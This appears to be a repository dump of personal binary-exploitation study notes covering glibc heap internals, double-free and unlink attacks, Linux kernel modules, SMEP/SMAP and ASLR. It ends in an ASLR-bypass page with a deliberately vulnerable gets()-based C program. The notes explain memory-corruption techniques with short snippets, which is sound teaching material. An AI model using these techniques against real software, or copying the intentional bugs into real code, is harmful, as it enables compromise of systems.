/.gitbook/assets/rsp_shellcode.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/rsp_shellcode.zip
--------------------------------------------------------------------------------
/.gitbook/assets/shellcode.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/shellcode.zip
--------------------------------------------------------------------------------
/.gitbook/assets/sockets.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/sockets.zip
--------------------------------------------------------------------------------
/.gitbook/assets/srnr.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/srnr.zip
--------------------------------------------------------------------------------
/.gitbook/assets/stack_pivoting (1).zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/stack_pivoting (1).zip
--------------------------------------------------------------------------------
/.gitbook/assets/stack_pivoting.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/stack_pivoting.zip
--------------------------------------------------------------------------------
/.gitbook/assets/syscalls.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/syscalls.zip
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Binary Exploitation Notes
2 |
3 | Welcome to my blog! There's a lot here and it's a bit spread out, so here's a guide:
4 |
5 | * If you're looking for the binary exploitation notes, you're in the right place! Here I make notes on most of the things I learn, and also provide vulnerable binaries to allow you to have a go yourself. Most "common" stack techniques are mentioned along with some super introductory heap; more will come soon™.
6 | * If you're looking for my **maths** notes, they are split up (with some overlap):
7 | * Cryptography-specific maths can be found on GitBook [here](https://app.gitbook.com/s/-MHfP44c-IQ\_Syc\_GT2Z/), or by clicking the hyperlink in the header
8 | * All my other maths notes can be found on Notion [here](https://ir0nstone.notion.site/Maths-3bb97c269fdc4dde810a3bb3ef9780f1?pvs=4). I realise having it in multiple locations is annoying, but maths support in Notion is just wayyy better. Like _so much better_. Sorry.
9 | * Hopefully these two get moulded into one soon
10 |
11 | If you'd like to find me elsewhere, I'm usually down as **ir0nstone**. The accounts you'd actually be interested in seeing are likely [my HackTheBox account](https://app.hackthebox.com/profile/249013) or my [Twitter](https://twitter.com/ir0nstone) (or X, if you _really_ prefer).
12 |
13 | If this resource has been helpful to you, please consider [supporting me on buymeacoffee](https://www.buymeacoffee.com/ir0nst0ne) :)
14 |
15 | And, of course, thanks to GitBook for all of their support :)
16 |
17 |
18 |
19 | \~ Andrej Ljubic
20 |
--------------------------------------------------------------------------------
/binexp/browser-exploitation/README.md:
--------------------------------------------------------------------------------
1 | # Browser Exploitation
2 |
3 | This is going to document my journey into V8 exploitation, and hopefully provide some tools to help you learn too.
4 |
5 | To start with, we're going to go through \*CTF's OOB-V8 challenge, mostly following [Faith's brilliantly in-depth writeup](https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/). From there, well, we'll see.
6 |
7 | [Saelo's classic V8 paper](http://www.phrack.org/issues/70/9.html) is also a goldmine.
8 |
--------------------------------------------------------------------------------
/binexp/heap/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Still learning :)
3 | ---
4 |
5 | # Heap
6 |
7 | Moving onto heap exploitation **does not require you to be a god at stack exploitation**, but it will require a better understanding of C and how concepts such as pointers work. From time to time we will be discussing the glibc source code itself, and while this can be really overwhelming, it's incredibly good practise.
8 |
9 | I'll do everything I can do make it as simple as possible. Most references (to start with) will be hyperlinks, so feel free to just keep the concept in mind for now, but as you progress understanding the source will become more and more important.
10 |
11 | {% hint style="info" %}
12 | Occasionally different snippets of code will be from different glibc versions, and I'll do my best to note down which version they are from. The reason for this is that newer versions have a lot of protections that will obscure the basic logic of the operation, so we will start with older implementations and build up.
13 | {% endhint %}
14 |
--------------------------------------------------------------------------------
/binexp/heap/bins/chunk-allocation-and-reallocation.md:
--------------------------------------------------------------------------------
1 | # Operations of the Other Bins
2 |
3 | When a non-fast chunk is freed, it gets put into the Unsorted Bin. When new chunks are **requested**, glibc looks at all of the bins
4 |
5 | * If the requested size is fastbin size, [check the corresponding fastbin](https://elixir.bootlin.com/glibc/glibc-2.3.6/source/malloc/malloc.c#L3849)
6 | * If there is a chunk in it, return it
7 | * If the requested chunk is of smallbin size, [check the corresponding smallbin](https://elixir.bootlin.com/glibc/glibc-2.3.6/source/malloc/malloc.c#L3868)
8 | * If there is a chunk in it, return it
9 | * If the requested chunk is large (of largebin size), [we first consolidate the largebins](https://elixir.bootlin.com/glibc/glibc-2.3.6/source/malloc/malloc.c#L3897) with [`malloc_consolidate()`](../malloc\_consolidate.md). We will get into the mechanisms of this at a later point, but essentially I lied earlier - fastbins **do** consolidate, but not on freeing!
10 | * Finally, we iterate through the chunks in the unsorted bin
11 | * If it is empty, we service the request through making the heap larger by moving the **top chunk** back and making space
12 | * If the requested size is equal to the size of the chunk in the bin, return the chunk
13 | * If it's smaller, split the chunk in the bin in two and return a portion of the correct size
14 | * If it's larger,
15 |
16 | One thing that is very easy to forget is what happens on _allocation_ and what happens on _freeing_, as it can be a bit counter-intuitive. For example, the fastbin consolidation is triggered from an allocation!
17 |
18 |
--------------------------------------------------------------------------------
/binexp/heap/chunks.md:
--------------------------------------------------------------------------------
1 | # Chunks
2 |
3 | Internally, every chunk - whether allocated or free - is stored in a [`malloc_chunk` ](https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L1136)structure. The difference is how the memory space is used.
4 |
5 | ## Allocated Chunks
6 |
7 | When space is allocated from the **heap** using a function such as `malloc()`, a pointer to a heap address is returned. Every chunk has additional **metadata** that it has to store in both its used and free states.
8 |
9 | .png>)
10 |
11 | The chunk has two sections - the **metadata** of the chunk (information _about_ the chunk) and the **user data**, where the data is actually stored.
12 |
13 | The `size` field is the overall size of the chunk, **including metadata**. It must be a multiple of `8`, meaning the last 3 bits of the `size` are `0`. This allows the flags `A`, `M` and `P` to take up that space, with `A` being the 3rd-last bit of `size`, `M` the 2nd-last and `P` the last.
14 |
15 | The flags have special uses:
16 |
17 | * `P` is the [`PREV_INUSE` flag](https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L1210), which is set when the previous adjacent chunk (the chunk ahead) is in use
18 | * `M` is the [`IS_MMAPPED` flag](https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L1243), which is set when the chunk is allocated via `mmap()` rather than a heap mechanism such as `malloc()`
19 | * `A` is the [`NON_MAIN_ARENA` flag](https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L1221), which is set when the chunk is not located in `main_arena`; we will get to _Arenas_ in a later section, but in essence every created thread is provided a different arena (up to a limit) and chunks in these arenas have the `A` bit set
20 |
21 | `prev_size` is set [if the previous adjacent chunk is **free**](https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L1212), as calculated by `P` being `0`. If it is not, the heap _saves space_ and `prev_size` is part of the **previous chunk's user data**. If it is, then `prev_size` stores the size of the previous chunk.
22 |
23 | .png>)
24 |
25 | ## Free Chunks
26 |
27 | Free chunks have additional metadata to handle the linking between them.
28 |
29 |
30 |
31 | This can be seen in the [`malloc_state`](https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L1136) struct:
32 |
33 | ```c
34 | struct malloc_chunk {
35 | INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
36 | INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
37 |
38 | struct malloc_chunk* fd; /* double links -- used only if free. */
39 | struct malloc_chunk* bk;
40 |
41 | /* Only used for large blocks: pointer to next larger size. */
42 | struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
43 | struct malloc_chunk* bk_nextsize;
44 | };
45 | ```
46 |
47 |
--------------------------------------------------------------------------------
/binexp/heap/double-free/README.md:
--------------------------------------------------------------------------------
1 | # Double-Free
2 |
3 | ## Overview
4 |
5 | A double-free can take a bit of time to understand, but ultimately it is very simple.
6 |
7 | Firstly, remember that for fast chunks in the fastbin, the location of the next chunk in the bin is specified by the `fd` pointer. This means if chunk `a` points to chunk `b`, once chunk `a` is freed the next chunk in the bin is chunk `b`.
8 |
9 | In a double-free, we attempt to **control** `fd`. By overwriting it with an arbitrary memory address, we can tell `malloc()` _where the next chunk is to be allocated_. For example, say we overwrote `a->fd` to point at `0x12345678`; once `a` is free, the _next chunk on the list_ will be `0x12345678`_._
10 |
11 | ## Controlling fd
12 |
13 | As it sounds, we have to free the chunk **twice**. But how does that help?
14 |
15 | Let's watch the progress of the fastbin if we free an arbitrary chunk `a` twice:
16 |
17 | ```c
18 | char *a = malloc(0x20);
19 | free(a);
20 | free(a);
21 | ```
22 |
23 | 
24 |
25 | Fairly logical.
26 |
27 | But what happens if we called `malloc()` again for the same size?
28 |
29 | ```c
30 | char *b = malloc(0x20);
31 | ```
32 |
33 | Well, strange things would happen. `a` is both allocated \(in the form of `b`\) _and free at the same time_.
34 |
35 | If you remember, the heap attempts to save as much space as possible and when the chunk is free the `fd` pointer is written **where the user data used to be**.
36 |
37 | 
38 |
39 | But what does this mean?
40 |
41 | When we write into the use data of `b`, we're writing into the `fd` of `a` _at the same time_.
42 |
43 | And remember - controlling `fd` means we can control where the next chunk gets allocated!
44 |
45 | So we can write an address into the data of `b`, and that's where the next chunk gets placed.
46 |
47 | ```c
48 | strcpy(b, "\x78\x56\x34\x12");
49 | ```
50 |
51 | Now, the next alloc will return `a` **again**. This doesn't matter, we want the one afterwards.
52 |
53 | ```c
54 | malloc(0x20) /* This is yet another 'a', we can ignore this */
55 | char *controlled = malloc(0x20); /* This is in the location we want */
56 | ```
57 |
58 | Boom - an arbitrary write.
59 |
60 |
--------------------------------------------------------------------------------
/binexp/heap/double-free/double-free-protections.md:
--------------------------------------------------------------------------------
1 | # Double-Free Protections
2 |
3 | It wouldn't be fun if there were no protections, right?
4 |
5 | Using Xenial Xerus, try running:
6 |
7 | ```c
8 | #include
9 | #include
10 |
11 | int main() {
12 | int *a = malloc(0x50);
13 |
14 | free(a);
15 | free(a);
16 |
17 | return 1;
18 | }
19 | ```
20 |
21 | Notice that it throws an error.
22 |
23 | ### Double Free or Corruption \(Fasttop\)
24 |
25 | > Is the chunk at the top of the bin the same as the chunk being inserted?
26 |
27 | For example, the following code still works:
28 |
29 | ```c
30 | #include
31 | #include
32 |
33 | int main() {
34 | int *a = malloc(0x50);
35 | int *b = malloc(0x50);
36 |
37 | free(a);
38 | free(b);
39 | free(a);
40 |
41 | return 1;
42 | }
43 | ```
44 |
45 | ### malloc\(\): memory corruption \(fast\)
46 |
47 | > When removing the chunk from a fastbin, make sure the size falls into the fastbin's range
48 |
49 | The previous protection could be bypassed by freeing another chunk in between the double-free and just doing a bit more work that way, but then you fall into this trap.
50 |
51 | Namely, if you overwrite `fd` with something like `0x08041234`, you have to make sure the metadata fits - i.e. the size ahead of the data is completely correct - and that makes it harder, because you can't just write into the GOT, unless you get lucky.
52 |
53 |
--------------------------------------------------------------------------------
/binexp/heap/heap-overflow/README.md:
--------------------------------------------------------------------------------
1 | # Heap Overflow
2 |
3 | Heap Overflow, much like a Stack Overflow, involves too much data being written to the heap. This can result in us overwriting data, most importantly **pointers**. Overwriting these pointers can cause user input to be copied to different locations if the program blindly trusts data on the heap.
4 |
5 | To introduce this \(it's easier to understand with an example\) I will use two vulnerable binaries from [Protostar](https://exploit-exercises.lains.space/protostar/).
6 |
7 |
--------------------------------------------------------------------------------
/binexp/heap/introduction-to-the-heap.md:
--------------------------------------------------------------------------------
1 | # Introduction to the Heap
2 |
3 | Unlike the stack, heap is an area of memory that can be dynamically allocated. This means that when you need new space, you can "request" more from the heap.
4 |
5 | In C, this often means using functions such as `malloc()` to request the space. However, the heap is very slow and can take up tons of space. This means that the developer has to tell libc when the heap data is "finished with", and it does this via calls to `free()` which mark the area as available. But where there are humans there will be implementation flaws, and no amount of protection will ever ensure code is completely safe.
6 |
7 | In the following sections, we will only discuss 64-bit systems (with the exception of some parts that were written long ago). The theory is the same, but pretty much any heap challenge (or real-world application) will be on 64-bit systems.
8 |
--------------------------------------------------------------------------------
/binexp/heap/malloc-state.md:
--------------------------------------------------------------------------------
1 | # Malloc State
2 |
3 |
--------------------------------------------------------------------------------
/binexp/heap/the-tcache/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: New and efficient heap management
3 | ---
4 |
5 | # The Tcache
6 |
7 | Starting in [glibc 2.27](https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c), a new heap feature called the **tcache** was released. The tcache was designed to be a performance booster, and the operation is very simple: every chunk size (up to size **0x410**) has its own **tcache bin**, which can store up to **7 chunks**. When a chunk of a specific size is allocated, the tcache bin is searched first. When it is freed, the chunk is added to the tcache bin; if it is full, it then goes to the standard fastbin/unsortedbin.
8 |
9 | The tcache bin acts like a fastbin - it is a singly-linked list of free chunks of a specific size. The handling of the list, using `fd` pointers, is identical. As you can expect, the attacks on the tcache are also similar to the attacks on fastbins.
10 |
11 | Ironically, years of defenses that were implemented into the fastbins - such as the [double-free protections](../double-free/double-free-protections.md) - were ignored in the initial implementation of the tcache. This means that using the heap to attack a binary running under glibc 2.27 binary is easier than one running under 2.25!
12 |
--------------------------------------------------------------------------------
/binexp/heap/the-tcache/tcache-calloc.md:
--------------------------------------------------------------------------------
1 | # Tcache: calloc()
2 |
3 |
--------------------------------------------------------------------------------
/binexp/heap/the-tcache/tcache-poisoning.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Reintroducing double-frees
3 | ---
4 |
5 | # Tcache Poisoning
6 |
7 | Tcache poisoning is a fancy name for a double-free in the tcache chunks.
8 |
--------------------------------------------------------------------------------
/binexp/heap/unlink-exploit.md:
--------------------------------------------------------------------------------
1 | # Unlink Exploit
2 |
3 | ## Overview
4 |
5 | When a chunk is removed from a bin, `unlink()` is called on the chunk. The unlink macro looks like this:
6 |
7 | ```c
8 | FD = P->fd; /* forward chunk */
9 | BK = P->bk; /* backward chunk */
10 |
11 | FD->bk = BK; /* update forward chunk's bk pointer */
12 | BK->fd = FD; /* updated backward chunk's fd pointer */
13 | ```
14 |
15 | Note how `fd` and `bk` are written to location depending on `fd` and `bk`- if we control both `fd` and `bk`, we can get an _arbitrary write_.
16 |
17 | Consider the following example:
18 |
19 | We want to write the value `0x1000000c` to `0x5655578c`. If we had the ability to create a **fake free chunk**, we could choose the values for `fd` and `bk`. In this example, we would set `fd` to `0x56555780` \(bear in mind the first `0x8` bytes in 32-bit would be for the metadata, so `P->fd` is actually 8 bytes off `P` and `P->bk` is 12 bytes off\) and `bk` to `0x10000000`. Then when we `unlink()` this fake chunk, the process is as follows:
20 |
21 | ```c
22 | FD = P->fd (= 0x56555780)
23 | BK = P->bk (= 0x10000000)
24 |
25 | FD->bk = BK (0x56555780 + 0xc = 0x10000000)
26 | BK->fd = FD (0x10000000 + 0x8 = 0x56555780)
27 | ```
28 |
29 | This may seem like a _lot_ to take in. It's a lot of seemingly random numbers. What you need to understand is `P->fd` just means _8 bytes off `P`_ and `P->bk` just means _12 bytes off `P`_.
30 |
31 | If you imagine the chunk looking like
32 |
33 | 
34 |
35 | Then the `fd` and `bk` pointers point at the _start of the chunk_ - `prev_size`. So when overwriting the `fd` pointer _here:_
36 |
37 | ```c
38 | FD->bk = BK (0x56555780 + 0xc = 0x10000000)
39 | ```
40 |
41 | `FD` points to `0x56555780`, and then `0xc` gets added on for `bk`, making the write actually occur at `0x5655578c`, which is what we wanted. _That_ is why we fake `fd` and `bk` values lower than the actual intended write location.
42 |
43 | {% hint style="info" %}
44 | In 64-bit, all the chunk data takes up `0x8` bytes each, so the offsets for `fd` and `bk` will be `0x10` and `0x18` respectively.
45 | {% endhint %}
46 |
47 | The slight issue with the unlink exploit is not only does `fd` get written to where you want, `bk` gets written as well - and if the location you are writing either of these to is protected memory, the binary will crash.
48 |
49 | ## Protections
50 |
51 | More modern libc versions have a different version of the unlink macro, which looks like this:
52 |
53 | ```c
54 | FD = P->fd;
55 | BK = P->bk;
56 |
57 | if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
58 | malloc_printerr (check_action, "corrupted double-linked list", P, AV);
59 | else {
60 | FD->bk = BK;
61 | BK->fd = FD;
62 | }
63 | ```
64 |
65 | Here `unlink()` check the `bk` pointer of the forward chunk and the `fd` pointer of the backward chunk and makes sure they point to `P`, which is unlikely if you fake a chunk. This quite significantly restricts where we can write using unlink.
66 |
67 |
--------------------------------------------------------------------------------
/binexp/heap/use-after-free.md:
--------------------------------------------------------------------------------
1 | # Use-After-Free
2 |
3 | Much like the name suggests, this technique involves us _using data once it is freed_. The weakness here is that programmers often wrongly assume that once the chunk is freed it cannot be used and don't bother writing checks to ensure data is not freed. This means it is possible to write data to a free chunk, which is very dangerous.
4 |
5 | TODO: binary
6 |
7 |
--------------------------------------------------------------------------------
/binexp/kernel/README.md:
--------------------------------------------------------------------------------
1 | # Kernel
2 |
3 | _**Heavily**_ beta
4 |
5 |
--------------------------------------------------------------------------------
/binexp/kernel/introduction.md:
--------------------------------------------------------------------------------
1 | # Introduction
2 |
3 | The kernel is the program at the heart of the Operating System. It is responsible for controlling every aspect of the computer, from the nature of syscalls to the integration between software and hardware. As such, exploiting the kernel can lead to some incredibly dangerous bugs.
4 |
5 | In the context of CTFs, Linux kernel exploitation often involves the exploitation of kernel **modules**. This is an integral feature of Linux that allows users to extend the kernel with their own code, adding additional features.
6 |
7 | You can find an excellent introduction to Kernel Drivers and Modules by LiveOverflow [here](https://www.youtube.com/watch?v=juGNPLdjLH4), and I recommend it highly.
8 |
9 | ### Kernel Modules
10 |
11 | Kernel Modules are written in C and compiled to a `.ko` \(**K**ernel **O**bject\) format. Most kernel modules are compiled for a specific version kernel version \(which can be checked with `uname -r`, my Xenial Xerus is `4.15.0-128-generic`\). We can load and unload these modules using the `insmod` and `rmmod` commands respectively. Kernel modules are often loaded into `/dev/*` or `/proc/`. There are 3 main module types: **Char**, **Block** and **Network**.
12 |
13 | #### Char Modules
14 |
15 | _Char_ Modules are deceptively simple. Essentially, you can access them as a **stream of bytes** - just like a file - using syscalls such as `open`. In this way, they're virtually almost dynamic files \(at a super basic level\), as the values read and written can be changed.
16 |
17 | Examples of Char modules include `/dev/random`.
18 |
19 | {% hint style="info" %}
20 | I'll be using the term _module_ and _device_ interchangeably. As far as I can tell, they are the same, but please let me know if I'm wrong!
21 | {% endhint %}
22 |
23 |
--------------------------------------------------------------------------------
/binexp/kernel/kaslr.md:
--------------------------------------------------------------------------------
1 | # KASLR
2 |
3 | TODO
4 |
--------------------------------------------------------------------------------
/binexp/kernel/kpti.md:
--------------------------------------------------------------------------------
1 | # KPTI
2 |
3 |
--------------------------------------------------------------------------------
/binexp/kernel/modprobe_path.md:
--------------------------------------------------------------------------------
1 | # modprobe\_path
2 |
3 |
--------------------------------------------------------------------------------
/binexp/kernel/smap.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Supervisor Memory Access Protection
3 | ---
4 |
5 | # SMAP
6 |
7 | SMAP is a more powerful version of SMEP. Instead of preventing code in user space from being accessed, SMAP places **heavy** restrictions on accessing user space at all, even for accessing data. SMAP blocks the kernel from even _dereferencing_ (i.e. _accessing_) data that isn't in kernel space unless it is a set of very specific functions.
8 |
9 | For example, functions such as `strcpy` or `memcpy` do not work for copying data to and from user space when SMAP is enabled. Instead, we are provided the functions `copy_from_user` and `copy_to_user`, which are allowed to briefly bypass SMAP for the duration of their operation. These functions also have additional hardening against attacks such as buffer overflows, with the function `__copy_overflow` acting as a guard against them.
10 |
11 | This means that whether you interact using `write`/`read` or `ioctl`, the structs that you pass via pointers all get copied to kernel space using these functions before they are messed around with. This also means that double-fetches are even more unlikely to occur as all operations are based on the snapshot of the data that the module took when `copy_from_user` was called (unless `copy_from_user` is called on the same struct multiple times).
12 |
13 | Like SMEP, SMAP is controlled by the CR4 register, in this case the 21st bit. It is also [pinned](smep/kernel-rop-disabling-smep.md#failure), so overwriting CR4 does nothing, and instead we have to work around it. There is no specific "bypass", it will depend on the challenge and will simply have to be accounted for.
14 |
15 | Enabling SMAP is just as easy as SMEP:
16 |
17 | ```
18 | -cpu qemu64,+smep,+smap
19 | ```
20 |
--------------------------------------------------------------------------------
/binexp/kernel/smep/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Supervisor Memory Execute Protection
3 | ---
4 |
5 | # SMEP
6 |
7 | If [ret2usr ](../kernel-rop-ret2usr.md)is analogous to ret2shellcode, then SMEP is the new [NX](../../stack/no-execute.md). SMEP is a primitive protection that ensures [any code executed in kernel mode is located in kernel space](https://wiki.osdev.org/Supervisor\_Memory\_Protection). This means a simple ROP back to our own shellcode no longer works. To bypass SMEP, we have to use gadgets located in the kernel to achieve what we want to (without switching to userland code).
8 |
9 | In older kernel versions we could [use ROP to disable SMEP entirely](kernel-rop-disabling-smep.md), but this has been patched out. This was possible because SMEP is determined by the [20th bit of the CR4 register](https://wiki.osdev.org/CPU\_Registers\_x86#CR4), meaning that if we can control CR4 we can disable SMEP from messing with our exploit.
10 |
11 | We can enable SMEP in the kernel by controlling the respective QEMU flag (`qemu64` is not notable):
12 |
13 | ```
14 | -cpu qemu64,+smep
15 | ```
16 |
17 |
--------------------------------------------------------------------------------
/binexp/kernel/writing-a-char-module/README.md:
--------------------------------------------------------------------------------
1 | # Writing a Char Module
2 |
3 | ## The Code
4 |
5 | Writing a Char Module is suprisingly simple. First, we specify what happens on `init` (loading of the module) and `exit` (unloading of the module). We need some special headers for this.
6 |
7 | ```c
8 | #include
9 | #include
10 |
11 | MODULE_LICENSE("Mine!");
12 |
13 | static int intro_init(void) {
14 | printk(KERN_ALERT "Custom Module Started!\n");
15 | return 0;
16 | }
17 |
18 | static void intro_exit(void) {
19 | printk(KERN_ALERT "Custom Module Stopped :(\n");
20 | }
21 |
22 | module_init(intro_init);
23 | module_exit(intro_exit);
24 |
25 | ```
26 |
27 | It looks simple, because it _is_ simple. For now, anyway.
28 |
29 | First we set the license, because otherwise we get a warning, and I hate warnings. Next we tell the module what to do on load (`intro_init()`) and unload (`intro_exit()`). Note we put parameters as `void`, this is because kernel modules are very picky about [requiring parameters](https://stackoverflow.com/questions/40309582/kernel-module-compiler-error-function-declaration-isn-t-a-prototype-werror-st) (even if just void).
30 |
31 | We then register the purposes of the functions using `module_init()` and `module_exit()`.
32 |
33 | Note that we use `printk` rather than `printf`. GLIBC doesn't exist in kernel mode, and instead we use C's in-built kernel functionality. `KERN_ALERT` is specifies the type of message sent, and [there are many more types](https://www.kernel.org/doc/html/latest/core-api/printk-basics.html).
34 |
35 | ## Compiling
36 |
37 | Compiling a Kernel Object can seem a little more complex as we use a [`Makefile`](https://opensource.com/article/18/8/what-how-makefile), but it's surprisingly simple:
38 |
39 | ```
40 | obj-m += intro.o
41 |
42 | all:
43 | $(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
44 | ```
45 |
46 | `$(MAKE)` is a special flag that effectively calls `make`, but it propagate all same flags that _our_ `Makefile` was called with. So, for example, if we call
47 |
48 | ```bash
49 | $ make -j 8
50 | ```
51 |
52 | Then `$(MAKE)` will become `make -j 8`. Essentially, `$(MAKE)` is `make`, which compiles the module. The files produced are defined at the top as `obj-m`. Note that compilation is **unique per kernel**, which is why the compiling process uses your unique kernel build section.
53 |
54 | ## Using the Kernel Module
55 |
56 | Now we've got a `ko` file compiled, we can add it to the list of active modules:
57 |
58 | ```
59 | $ sudo insmod test.ko
60 | ```
61 |
62 | If it's successful, there will be no response. But where did it print to?
63 |
64 | Remember, the kernel program has no concept of userspace; it does not know you ran it, nor does it bother communicating with userspace. Instead, this code runs in the kernel, and we can check the output using `sudo dmesg`.
65 |
66 | ```
67 | $ sudo dmesg | tail -n 1
68 | [ 3645.657331] Custom Module Started!
69 | ```
70 |
71 | Here we grab the last line using `tail` - as you can see, our `printk` is called!
72 |
73 | Now let's unload the module:
74 |
75 | ```
76 | $ sudo rmmod test
77 | $ sudo dmesg | tail -n 1
78 | [ 4046.904898] Custom Module Stopped :(
79 | ```
80 |
81 | And there our `intro_exit` is called.
82 |
83 | {% hint style="info" %}
84 | You can view currently loaded modules using the `lsmod` command
85 | {% endhint %}
86 |
--------------------------------------------------------------------------------
/binexp/kernel/writing-a-char-module/interactivity-with-ioctl.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: A more useful way to interact with the driver
3 | ---
4 |
5 | # Interactivity with IOCTL
6 |
7 | Linux contains a syscall called `ioctl`, which is often used to communicate with a driver. `ioctl()` takes three parameters:
8 |
9 | * File Descriptor `fd`
10 | * an `unsigned int`
11 | * an `unsigned long`
12 |
13 | The driver can be adapted to make the latter two virtually anything - perhaps a pointer to a struct or a string. In the driver source, the code looks along the lines of:
14 |
15 | ```c
16 | static ssize_t ioctl_handler(struct file *file, unsigned int cmd, unsigned long arg) {
17 | printk("Command: %d; Argument: %d", cmd, arg);
18 |
19 | return 0;
20 | }
21 | ```
22 |
23 | But if you want, you can interpret `cmd` and `arg` as pointers if that is how you wish your driver to work.
24 |
25 | To communicate with the driver in this case, you would use the `ioctl()` function, which you can import in C:
26 |
27 | ```c
28 | #include
29 |
30 | // [...]
31 |
32 | ioctl(fd, 0x100, 0x12345678); // data is a string
33 | ```
34 |
35 | And you would have to update the `file_operations` struct:
36 |
37 | ```c
38 | static struct file_operations fops = {
39 | .ioctl = ioctl_handler
40 | };
41 | ```
42 |
43 | On modern Linux kernel versions, [`.ioctl` has been removed and replaced by `.unlocked_ioctl` and `.compat_ioctl`](https://lwn.net/Articles/119652/). The former is the replacement for `.ioctl`, with the latter allowing 32-bit processes to perform `ioctl` calls on 64-bit systems. As a result, the new `file_operations` is likely to look more like this:
44 |
45 | ```c
46 | static struct file_operations fops = {
47 | .compat_ioctl = ioctl_handler,
48 | .unlocked_ioctl = ioctl_handler
49 | };
50 | ```
51 |
--------------------------------------------------------------------------------
/binexp/stack/32-vs-64-bit.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: The differences between the sizes
3 | ---
4 |
5 | # 32- vs 64-bit
6 |
7 | Everything we have done so far is applicable to 64-bit as well as 32-bit; the only thing you would need to change is switch out the `p32()` for `p64()` as the memory addresses are longer.
8 |
9 | The real difference between the two, however, is the way you pass parameters to functions \(which we'll be looking at much closer soon\); in 32-bit, all parameters are pushed to the stack before the function is called. In 64-bit, however, the first 6 are stored in the registers RDI, RSI, RDX, RCX, R8 and R9 respectively as per the [calling convention](https://en.wikipedia.org/wiki/X86_calling_conventions). Note that different Operating Systems also have different calling conventions.
10 |
11 |
--------------------------------------------------------------------------------
/binexp/stack/README.md:
--------------------------------------------------------------------------------
1 | # Stack
2 |
3 |
--------------------------------------------------------------------------------
/binexp/stack/aslr/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | description: Address Space Layout Randomisation
3 | ---
4 |
5 | # ASLR
6 |
7 | ## Overview
8 |
9 | ASLR stands for **A**ddress **S**pace **L**ayout **R**andomisation and can, in most cases, be thought of as `libc`'s equivalent of PIE - every time you run a binary, `libc` \(and other libraries\) get loaded into a different memory address.
10 |
11 | {% hint style="danger" %}
12 | While it's tempting to think of ASLR as `libc` PIE, there is a key difference.
13 |
14 | ASLR is a **kernel protection** while PIE is a binary protection. The main difference is that PIE can be **compiled into the binary** while the presence of ASLR is **completely dependant on the environment running the binary**. If I sent you a binary compiled with ASLR disabled while I did it, it wouldn't make any different at all if you had ASLR enabled.
15 | {% endhint %}
16 |
17 | Of course, as with PIE, this means you cannot hardcode values such as function address \(e.g. `system` for a ret2libc\).
18 |
19 | ## The Format String Trap
20 |
21 | It's tempting to think that, as with PIE, we can simply format string for a libc address and subtract a static offset from it. Sadly, we can't quite do that.
22 |
23 | When functions finish execution, they do not get removed from memory; instead, they just get ignored and overwritten. Chances are very high that you will grab one of these remnants with the format string. Different libc versions can act very differently during execution, so a value you just grabbed may not even _exist_ remotely, and if it does the offset will most likely be different \(different libcs have different sizes and therefore different offsets between functions\). It's possible to get lucky, but you shouldn't really hope that the offsets remain the same.
24 |
25 | Instead, a more reliable way is reading the [GOT entry of a specific function](plt_and_got.md#s-format-string).
26 |
27 | ## Double-Checking
28 |
29 | For the same reason as PIE, libc base addresses always end in the hexadecimal characters `000`.
30 |
31 |
--------------------------------------------------------------------------------
/binexp/stack/aslr/aslr-bypass-with-given-leak.md:
--------------------------------------------------------------------------------
1 | # ASLR Bypass with Given Leak
2 |
3 | ## The Source
4 |
5 | {% file src="../../../.gitbook/assets/aslr.zip" caption="ASLR - 32-bit" %}
6 |
7 | ```c
8 | #include
9 | #include
10 |
11 | void vuln() {
12 | char buffer[20];
13 |
14 | printf("System is at: %lp\n", system);
15 |
16 | gets(buffer);
17 | }
18 |
19 | int main() {
20 | vuln();
21 |
22 | return 0;
23 | }
24 |
25 | void win() {
26 | puts("PIE bypassed! Great job :D");
27 | }
28 | ```
29 |
30 | Just as we did for PIE, except this time we print the address of system.
31 |
32 | ## Analysis
33 |
34 | ```text
35 | $ ./vuln-32
36 | System is at: 0xf7de5f00
37 | ```
38 |
39 | Yup, does what we expected.
40 |
41 | {% hint style="info" %}
42 | Your address of system might end in different characters - you just have a different libc version
